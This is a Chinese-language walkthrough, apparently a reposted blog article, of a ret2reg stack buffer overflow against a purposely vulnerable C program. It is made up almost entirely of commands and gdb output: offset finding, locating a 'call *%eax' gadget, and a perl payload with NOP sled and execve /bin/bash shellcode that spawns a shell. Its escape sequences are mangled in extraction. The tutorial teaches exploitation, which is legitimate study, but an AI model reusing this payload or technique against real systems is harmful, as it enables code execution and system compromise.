ret2reg缓冲区溢出攻击

被溢出程序源码如下:

  1.  root@linux:~/pentest# cat vulnerable.c   
  2. #include <stdio.h>   
  3. #include <string.h>   
  4.   
  5. void evilfunction(char *input) {  
  6.   
  7.     char buffer[1000];  
  8.     strcpy(buffer, input);  
  9. }  
  10.   
  11. int main(int argc, char **argv) {  
  12.   
  13.     evilfunction(argv[1]);  
  14.   
  15.     return 0;  
  16. }  

编译,并用gdb反汇编代码如下:

  1. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c  
  2.   
  3.   
  4. root@linux:~/pentest# gdb vulnerable  
  5. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  6. Copyright (C) 2010 Free Software Foundation, Inc.  
  7. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  8. This is free software: you are free to change and redistribute it.  
  9. There is NO WARRANTY, to the extent permitted by law.  Type “show copying”  
  10. and “show warranty” for details.  
  11. This GDB was configured as “i686-linux-gnu”.  
  12. For bug reporting instructions, please see:  
  13. <http://www.gnu.org/software/gdb/bugs/>…   
  14. Reading symbols from /root/pentest/vulnerable…done.  
  15. (gdb) disass main  
  16. Dump of assembler code for function main:  
  17.    0x080483e4 <+0>:    push   %ebp  
  18.    0x080483e5 <+1>:    mov    %esp,%ebp  
  19.    0x080483e7 <+3>:    and    {1}xfffffff0,%esp  
  20.    0x080483ea <+6>:    sub    {1}x10,%esp  
  21.    0x080483ed <+9>:    mov    0xc(%ebp),%eax  
  22.    0x080483f0 <+12>:    add    {1}x4,%eax  
  23.    0x080483f3 <+15>:    mov    (%eax),%eax  
  24.    0x080483f5 <+17>:   mov    %eax,(%esp)  
  25.    0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  
  26.    0x080483fd <+25>:    mov    {1}x0,%eax  
  27.    0×08048402 <+30>:    leave    
  28.    0×08048403 <+31>:    ret      
  29. End of assembler dump.  
  30. (gdb) disass evilfunction  
  31. Dump of assembler code for function evilfunction:  
  32.    0x080483c4 <+0>:    push   %ebp  
  33.    0x080483c5 <+1>:    mov    %esp,%ebp  
  34.    0x080483c7 <+3>:    sub    {1}x408,%esp  
  35.    0x080483cd <+9>:    mov    0×8(%ebp),%eax  
  36.    0x080483d0 <+12>:    mov    %eax,0×4(%esp)  
  37.    0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  
  38.    0x080483da <+22>:    mov    %eax,(%esp)  
  39.    0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  
  40.    0x080483e2 <+30>:    leave    
  41.    0x080483e3 <+31>:    ret      
  42. End of assembler dump.  
  43. (gdb)  

分析evilfunction函数调用栈的使用情况,如下图所示:

可以看到,要想溢出该栈,需要至少1016B的数据。

下面我们用gdb调试一下,看上面的分析是不是正确:

  1. (gdb) run `perl -e ‘print ”x41″x1014′`  
  2. The program being debugged has been started already.  
  3. Start it from the beginning? (y or n) y  
  4. Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1014′`  
  5.   
  6. Program received signal SIGSEGV, Segmentation fault.  
  7. 0×08004141 in ?? ()  
  8. (gdb) run `perl -e ‘print ”x41″x1015′`  
  9. The program being debugged has been started already.  
  10. Start it from the beginning? (y or n) y  
  11. Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1015′`  
  12.   
  13. Program received signal SIGSEGV, Segmentation fault.  
  14. 0×00414141 in ?? ()  
  15. (gdb) run `perl -e ‘print ”x41″x1016′`  
  16. The program being debugged has been started already.  
  17. Start it from the beginning? (y or n) y  
  18. Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1016′`  
  19.   
  20. Program received signal SIGSEGV, Segmentation fault.  
  21. 0×41414141 in ?? ()  
  22. (gdb)  

通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技 巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg 则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。

下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。

  1. root@linux:~/pentest# gdb vulnerable  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type “show copying”  
  7. and “show warranty” for details.  
  8. This GDB was configured as “i686-linux-gnu”.  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>…   
  11. Reading symbols from /root/pentest/vulnerable…done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080483e4 <+0>:    push   %ebp  
  15.    0x080483e5 <+1>:    mov    %esp,%ebp  
  16.   0x080483e7 <+3>:    and    {1}xfffffff0,%esp  
  17.    0x080483ea <+6>:    sub    {1}x10,%esp  
  18.    0x080483ed <+9>:    mov    0xc(%ebp),%eax  
  19.    0x080483f0 <+12>:    add    {1}x4,%eax  
  20.    0x080483f3 <+15>:    mov    (%eax),%eax  
  21.    0x080483f5 <+17>:    mov    %eax,(%esp)  
  22.    0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  
  23.    0x080483fd <+25>:    mov    {1}x0,%eax  
  24.    0×08048402 <+30>:    leave    
  25.    0×08048403 <+31>:    ret      
  26. End of assembler dump.  
  27. (gdb) b *main+20  
  28. Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.  
  29. (gdb) b *main+31  
  30. Breakpoint 2 at 0×8048403: file vulnerable.c, line 15.  
  31. (gdb) disass evilfunction   
  32. Dump of assembler code for function evilfunction:  
  33.    0x080483c4 <+0>:    push   %ebp  
  34.    0x080483c5 <+1>:    mov    %esp,%ebp  
  35.    0x080483c7 <+3>:    sub    {1}x408,%esp  
  36.    0x080483cd <+9>:    mov    0×8(%ebp),%eax  
  37.    0x080483d0 <+12>:    mov    %eax,0×4(%esp)  
  38.    0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  
  39.    0x080483da <+22>:    mov    %eax,(%esp)  
  40.    0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  
  41.    0x080483e2 <+30>:    leave    
  42.    0x080483e3 <+31>:    ret      
  43. End of assembler dump.  
  44. (gdb) b *evilfunction+31  
  45. Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.  
  46. (gdb) run `perl -e ‘print ”x41″x1012,”x42″x4′`  
  47. Starting program: /root/pentest/vulnerable `perl -e ‘print ”x41″x1012,”x42″x4′`  
  48.   
  49. Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12  
  50. 12        evilfunction(argv[1]);  
  51. (gdb) stepi  
  52. evilfunction (input=0xbffff203 ‘A’ <repeats 200 times>…) at vulnerable.c:4  
  53. 4    void evilfunction(char *input) {  
  54. (gdb) i r esp  
  55. esp            0xbfffef9c    0xbfffef9c  
  56. (gdb) x/10x $esp-16  
  57. 0xbfffef8c:    0×08048429    0x00171cbd    0x0029f324   0x0029eff4  
  58. 0xbfffef9c:    0x080483fd    0xbffff203    0x0011ea50    0x0804841b  
  59. 0xbfffefac:    0x0029eff4    0×08048410  
  60. (gdb) c  
  61. Continuing.  
  62.   
  63. Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 “le”) at vulnerable.c:8  
  64. 8    }  
  65. (gdb) i r esp  
  66. esp            0xbfffef9c    0xbfffef9c  
  67. (gdb) x/10x $esp-16  
  68. 0xbfffef8c:    0×41414141    0×41414141    0×41414141    0×41414141  
  69. 0xbfffef9c:    0×42424242    0xbffff200    0x0011ea50    0x0804841b  
  70. 0xbfffefac:    0x0029eff4    0×08048410  
  71. (gdb) c  
  72. Continuing.  
  73.   
  74. Program received signal SIGSEGV, Segmentation fault.  
  75. 0×42424242 in ?? ()  
  76. (gdb) i r   
  77. eax            0xbfffeba8    -1073747032  
  78. ecx            0×0    0  
  79. edx            0xbffff5fc    -1073744388  
  80. ebx            0x29eff4    2748404  
  81. esp            0xbfffefa0    0xbfffefa0  
  82. ebp            0×41414141    0×41414141  
  83. esi            0×0    0  
  84. edi            0×0    0  
  85. eip            0×42424242   0×42424242  
  86. eflags         0×10246    [ PF ZF IF RF ]  
  87. cs             0×73    115  
  88. ss             0x7b    123  
  89. ds             0x7b    123  
  90. es             0x7b    123  
  91. fs             0×0    0  
  92. gs             0×33    51  
  93. (gdb) x/20x $eax  
  94. 0xbfffeba8:    0×41414141    0×41414141    0×41414141    0×41414141  
  95. 0xbfffebb8:    0×41414141   0×41414141    0×41414141    0×41414141  
  96. 0xbfffebc8:    0×41414141    0×41414141    0×41414141    0×41414141  
  97. 0xbfffebd8:    0×41414141    0×41414141    0×41414141    0×41414141  
  98. 0xbfffebe8:    0×41414141    0×41414141    0×41414141    0×41414141  
  99. (gdb) x/20x $eax -16  
  100. 0xbfffeb98:    0x0015b1c4    0x0015b1c4    0x000027d8    0×00005844  
  101. 0xbfffeba8:    0×41414141    0×41414141    0×41414141    0×41414141  
  102. 0xbfffebb8:    0×41414141    0×41414141    0×41414141    0×41414141  
  103. 0xbfffebc8:    0×41414141   0×41414141    0×41414141    0×41414141  
  104. 0xbfffebd8:    0×41414141    0×41414141    0×41414141    0×41414141  
  105. (gdb)  

通过上面得过程分析,可以知道,在溢出时,eax寄存器恰好指向我们要执行的堆栈的起始地址处。即,我们可以利用eax来实现ret2reg。即寻找类似“call *%eax”或者“jmp *%eax”类似的指令。通常,我们需要在共享库中查找类似指令。

为了简便起见,先查找本程序中是否包含eax的指令。

  1. root@linux:~/pentest#objdump -d vulnerable | grep eax  
  2.  80482c0:   58                      pop    %eax  
  3.  80482d0:    0000                   add    %al,(%eax)  
  4.  8048318:   50                      push   %eax  
  5.  8048350:    a1 18 a0 04 08          mov    0x804a018,%eax  
  6.  8048366:    39d8                   cmp    %ebx,%eax  
  7.  8048370:    83 c001                add    {1}x1,%eax  
  8.  8048373:    a3 18 a0 04 08          mov    %eax,0x804a018  
  9.  8048378:    ff 14 85 1c 9f 04 08     call  *0x8049f1c(,%eax,4)  
  10.  804837f:    a1 18 a0 04 08          mov    0x804a018,%eax  
  11.  8048384:    39d8                   cmp    %ebx,%eax  
  12.  80483a6:    a1 24 9f 04 08          mov    0x8049f24,%eax  
  13.  80483ab:    85c0                   test   %eax,%eax  
  14.  80483af:    b8 00 00 00 00          mov    {1}x0,%eax  
  15.  80483b4:    85c0                   test   %eax,%eax  
  16.  80483bf:   ffd0                   call   *%eax  
  17.  80483cd:    8b 4508                mov    0×8(%ebp),%eax  
  18.  80483d0:   89 44 24 04             mov    %eax,0×4(%esp)  
  19.  80483d4:    8d 85 10 fc ff ff       lea    -0x3f0(%ebp),%eax  
  20.  80483da:    89 0424                mov    %eax,(%esp)  
  21.  80483ed:    8b 450c                mov    0xc(%ebp),%eax  
  22.  80483f0:    83 c004                add    {1}x4,%eax  
  23.  80483f3:    8b00                   mov   (%eax),%eax  
  24.  80483f5:    89 0424                mov    %eax,(%esp)  
  25.  80483fd:    b8 00 00 00 00          mov    {1}x0,%eax  
  26.  804842f:    8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax  
  27.  8048435:    29c7                   sub    %eax,%edi  
  28.  8048440:    8b 45 10                mov    0×10(%ebp),%eax  
  29.  8048443:    89 44 24 08             mov   %eax,0×8(%esp)  
  30.  8048447:    8b 450c                mov    0xc(%ebp),%eax  
  31.  804844a:    89 44 24 04             mov    %eax,0×4(%esp)  
  32.  804844e:    8b 4508                 mov   0×8(%ebp),%eax  
  33.  8048451:    89 0424                mov    %eax,(%esp)  
  34.  8048487:    a1 14 9f 04 08          mov    0x8049f14,%eax  
  35.  804848c:    83 f8ff               cmp    {1}xffffffff,%eax  
  36.  804849b:   ffd0                   call   *%eax  
  37.  804849d:    8b03                   mov    (%ebx),%eax  
  38.  804849f:    83 f8ff                cmp    {1}xffffffff,%eax  
  39. root@linux:~/pentest#  

可以看到,程序中包含我们要找的类似于“jmp/call *%eax”的指令。这样,我们将采用“0x80483bf”这个地址。

接下来需要构建我们的溢出代码,设计格式如下:

#############################################################

“x90” * 400B +shellcode(45B) + “x90” * 567B + “0x80483bf”(4B)

#############################################################

下面按照上面的格式,构造,并进行溢出测试。

  1. root@linux:~/pentest# gdb vulnerable  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type “show copying”  
  7. and “show warranty” for details.  
  8. This GDB was configured as “i686-linux-gnu”.  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>…   
  11. Reading symbols from /root/pentest/vulnerable…done.  
  12. (gdb) r `perl -e ‘print ”x90″x400,”x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx83xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80″,”x90″x567,”xbfx83x04x08″‘`  
  13. The program being debugged has been started already.  
  14. Start it from the beginning? (y or n) y  
  15.   
  16. Starting program: /root/pentest/vulnerable `perl -e ‘print ”x90″x400,”x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx83xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80″,”x90″x567,”xbfx83x04x08″‘`  
  17. process 1909 is executing new program: /bin/bash  
  18. root@linux:/root/pentest# ls  
  19. shellcode  shellcode.bin  shellcode.c  shellcode.pl  shellcode_generator  shellcode_generator.c  test.c  vulnerable  vulnerable.c  
  20. root@linux:/root/pentest# exit  
  21. exit  
  22.   
  23. Program exited normally.  
  24. (gdb)  

可以看到,我们的溢出代码成功的获得了shell。

本文摘自网络网络安全攻防研究室(www.91ri.org) 最新漏洞小组收集整理.转载本文请著名原文地址及版权信息。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值